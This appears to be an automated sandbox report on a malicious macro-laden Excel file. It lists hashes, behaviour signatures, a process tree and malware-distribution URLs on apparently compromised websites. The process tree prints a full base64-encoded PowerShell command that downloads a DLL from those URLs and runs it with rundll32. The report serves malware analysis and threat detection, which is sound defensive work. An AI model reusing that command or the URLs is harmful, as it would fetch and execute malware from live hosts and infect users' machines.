Analysis
-
max time kernel
118s -
max time network
119s -
platform
windows7_x64 -
resource
win7-20250207-en -
resource tags
-
submitted
27/03/2025, 19:42
General
-
Target
d286ca2b78e0ae4b035d47f12bcc5716.xls
-
Size
151KB
-
MD5
d286ca2b78e0ae4b035d47f12bcc5716
-
SHA1
a37c1586a48d4cffd2af18896828764c67096d88
-
SHA256
b3696d2a2ca5cc82245002bd3c628cec835147e32691b99820f340f5a3ed7212
-
SHA512
4e05626ac12373f0f37d66277cc7840e6c187210fe4fa5a87ceb463d63c999822108e93d71690ee9ad833a281323722c981c0c79061d5b3c742b96776b73be79
-
SSDEEP
3072:XcKoSsxzNDZLDZjlbR868O8KlVH3yehvMqAPjxO5xyZUE5V5xtezEVg8/dgL4Lcq:XcKoSsxzNDZLDZjlbR868O8KlVH3yehk
Malware Config
Extracted
https://store.uxdsummit.com/wp-admin/VfgBSQa7Z/
https://glowrentals.com/wp-admin/f1zeAKGTnS6I/
http://candisee.bminteractivegroup.com/1g94ngo/2n7lJoPuPDEanPcX/
http://bachilleratoporciclos.org/wp-content/zR/
http://formula8020.com/css/JCuR6OE404DgR/
http://lucasandbarbiehodges.net/wp-content/nbKbVJ8E55V2I/
https://www.monet.kiev.ua/css/KvkD194/
http://royalsnackmyanmar.com/wp-includes/Z4E3Vtp8k4Z/
https://theclubgym.in/wp-includes/jnTMKV3pHa9a/
https://ssf2.edelta.in/Themes/7hGzIAH5BYf9fFLK/
https://subs.video/netreginstall/7LKhp4JjAyQ0mc/
http://homedekornaturalcraft.com/ymu/fGsFT7j/
http://gosporthistoryclub.org.uk/wp-content/vOixo/
http://stimulusbrand.com/5qAhX5nC-content/1/
https://readyplans.in/wp-content/UtiS4IPBYSIiaPzCCe/
http://pgegroups.com/ism.pgegroups.com/HTv8/
http://asaanweb.com/PHPMailer-master/1MYGpHszzRfHAN4/
Signatures
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
System Location Discovery: System Language Discovery 1 TTPs 6 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
-
Office loads VBA resources, possible macro or embedded object present
-
Enumerates system info in registry 2 TTPs 1 IoCs
-
Modifies registry class 64 IoCs
-
Suspicious behavior: AddClipboardFormatListener 1 IoCs
-
Suspicious behavior: EnumeratesProcesses 1 IoCs
-
Suspicious use of AdjustPrivilegeToken 1 IoCs
-
Suspicious use of SetWindowsHookEx 3 IoCs
-
Suspicious use of WriteProcessMemory 23 IoCs
Processes
-
C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\d286ca2b78e0ae4b035d47f12bcc5716.xls1⤵
- System Location Discovery: System Language Discovery
- Enumerates system info in registry
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\wscript.exewscript c:\programdata\tghklsd.vbs2⤵
- Process spawned unexpected child process
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\programdata\jledshf.bat" "3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -enc JABqAGUAbwBsAGkAcwBlADMAUgBoAGcARABaAFMANABjAGQAZgBnAD0AIgBoAHQAdABwAHMAOgAvAC8AcwB0AG8AcgBlAC4AdQB4AGQAcwB1AG0AbQBpAHQALgBjAG8AbQAvAHcAcAAtAGEAZABtAGkAbgAvAFYAZgBnAEIAUwBRAGEANwBaAC8ALABoAHQAdABwAHMAOgAvAC8AZwBsAG8AdwByAGUAbgB0AGEAbABzAC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwBmADEAegBlAEEASwBHAFQAbgBTADYASQAvACwAaAB0AHQAcAA6AC8ALwBjAGEAbgBkAGkAcwBlAGUALgBiAG0AaQBuAHQAZQByAGEAYwB0AGkAdgBlAGcAcgBvAHUAcAAuAGMAbwBtAC8AMQBnADkANABuAGcAbwAvADIAbgA3AGwASgBvAFAAdQBQAEQARQBhAG4AUABjAFgALwAsAGgAdAB0AHAAOgAvAC8AYgBhAGMAaABpAGwAbABlAHIAYQB0AG8AcABvAHIAYwBpAGMAbABvAHMALgBvAHIAZwAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwB6AFIALwAsAGgAdAB0AHAAOgAvAC8AZgBvAHIAbQB1AGwAYQA4ADAAMgAwAC4AYwBvAG0ALwBjAHMAcwAvAEoAQwB1AFIANgBPAEUANAAwADQARABnAFIALwAsAGgAdAB0AHAAOgAvAC8AbAB1AGMAYQBzAGEAbgBkAGIAYQByAGIAaQBlAGgAbwBkAGcAZQBzAC4AbgBlAHQALwB3AHAALQBjAG8AbgB0AGUAbgB0AC8AbgBiAEsAYgBWAEoAOABFADUANQBWADIASQAvACwAaAB0AHQAcABzADoALwAvAHcAdwB3AC4AbQBvAG4AZQB0AC4AawBpAGUAdgAuAHUAYQAvAGMAcwBzAC8ASwB2AGsARAAxADkANAAvACwAaAB0AHQAcAA6AC8ALwByAG8AeQBhAGwAcwBuAGEAYwBrAG0AeQBhAG4AbQBhAHIALgBjAG8AbQAvAHcAcAAtAGkAbgBjAGwAdQBkAGUAcwAvAFoANABFADMAVgB0AHAAOABrADQAWgAvACwAaAB0AHQAcABzADoALwAvAHQAaABlAGMAbAB1AGIAZwB5AG0ALgBpAG4ALwB3AHAALQBpAG4AYwBsAHUAZABlAHMALwBqAG4AVABNAEsAVgAzAHAASABhADkAYQAvACwAaAB0AHQAcABzADoALwAvAHMAcwBmADIALgBlAGQAZQBsAHQAYQAuAGkAbgAvAFQAaABlAG0AZQBzAC8ANwBoAEcAegBJAEEASAA1AEIAWQBmADkAZgBGAEwASwAvACwAaAB0AHQAcABzADoALwAvAHMAdQBiAHMALgB2AGkAZABlAG8ALwBuAGUAdAByAGUAZwBpAG4AcwB0AGEAbABsAC8ANwBMAEsAaABwADQASgBqAEEAeQBRADAAbQBjAC8ALABoAHQAdABwADoALwAvAGgAbwBtAGUAZABlAGsAbwByAG4AYQB0AHUAcgBhAGwAYwByAGEAZgB0AC4AYwBvAG0ALwB5AG0AdQAvAGYARwBzAEYAVAA3AGoALwAsAGgAdAB0AHAAOgAvAC8AZwBvAHMAcABvAHIAdABoAGkAcwB0AG8AcgB5AGMAbAB1AGIALgBvAHIAZwAuAHUAawAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwB2AE8AaQB4AG8ALwAsAGgAdAB0AHAAOgAvAC8AcwB0AGkAbQB1AGwAdQBzAGIAcgBhAG4AZAAuAGMAbwBtAC8ANQBxAEEAaABYADUAbgBDAC0AYwBvAG4AdABlAG4AdAAvADEALwAsAGgAdAB0AHAAcwA6AC8ALwByAGUAYQBkAHkAcABsAGEAbgBzAC4AaQBuAC8AdwBwAC0AYwBvAG4AdABlAG4AdAAvAFUAdABpAFMANABJAFAAQgBZAFMASQBpAGEAUAB6AEMAQwBlAC8ALABoAHQAdABwADoALwAvAHAAZwBlAGcAcgBvAHUAcABzAC4AYwBvAG0ALwBpAHMAbQAuAHAAZwBlAGcAcgBvAHUAcABzAC4AYwBvAG0ALwBIAFQAdgA4AC8ALABoAHQAdABwADoALwAvAGEAcwBhAGEAbgB3AGUAYgAuAGMAbwBtAC8AUABIAFAATQBhAGkAbABlAHIALQBtAGEAcwB0AGUAcgAvADEATQBZAEcAcABIAHMAegB6AFIAZgBIAEEATgA0AC8AIgAuAHMAcABMAGkAVAAoACIALAAiACkAOwBmAE8AcgBlAGEAQwBoACgAJABqAGQAdABGAEoAZABYAGgAcgA2AHQAeAB5AGgAZAAgAGkAbgAgACQAagBlAG8AbABpAHMAZQAzAFIAaABnAEQAWgBTADQAYwBkAGYAZwApAHsAJAByAGgAeQBrAGEAagBkAGgAZgBzADcAaQBkAGYAZwBkAD0AIgBjADoAXABwAHIAbwBnAHIAYQBtAGQAYQB0AGEAXAB2AGIAawB3AGsALgBkAGwAbAAiADsAaQBOAHYATwBrAGUALQB3AEUAYgByAGUAUQB1AGUAcwBUACAALQB1AFIAaQAgACQAagBkAHQARgBKAGQAWABoAHIANgB0AHgAeQBoAGQAIAAtAG8AdQBUAGYAaQBMAGUAIAAkAHIAaAB5AGsAYQBqAGQAaABmAHMANwBpAGQAZgBnAGQAOwAgAGkAZgAoAHQAZQBzAHQALQBwAEEAdABIACAAJAByAGgAeQBrAGEAagBkAGgAZgBzADcAaQBkAGYAZwBkACkAewBpAGYAKAAoAGcAZQB0AC0AaQBUAGUAbQAgACQAcgBoAHkAawBhAGoAZABoAGYAcwA3AGkAZABmAGcAZAApAC4ATABlAG4AZwB0AGgAIAAtAGcAZQAgADQANQAwADAAMAApAHsAYgByAGUAYQBrADsAfQB9AH0A4⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c start /B c:\windows\syswow64\rundll32.exe c:\programdata\vbkwk.dll,dfsgeresd3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
\??\c:\windows\syswow64\rundll32.exec:\windows\syswow64\rundll32.exe c:\programdata\vbkwk.dll,dfsgeresd4⤵
- System Location Discovery: System Language Discovery
-
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
3KB
MD5b39bccb7919785949318f08668a8fdf6
SHA17cf362b654f6334a89c50a985e642370d7258826
SHA256a5b67a81bf5b2c150a9157191e423e8ada6b033fa5335dfc1dc4389d137ba632
SHA5124bdd93014d9a673aee38b5642d2fd1b20818cb19bc039d8440288bc04409f442b5eff3769893ec16029a4bafbb7673797cc77c1fcdd91694dd0841b00ee66102
-
Filesize
561B
MD587a9c41dc3e67b9b0b6cdb367d4858bd
SHA100f117f9a02dad3c127b2c607ead43300c2bebbe
SHA256f0b09a17f07b03b8cfe1969f84fcfb96933439707fa86ba8aa79181145512e18
SHA5127373ca3127a1baf85e3cc6beb7b046788132b1bb388405657cb924435386d186a2645971128dc582a970242c4a3dfdc7fcce78ed158b0d430c96bbd18686f1dd
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
44KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
64KB
-
Filesize
44KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB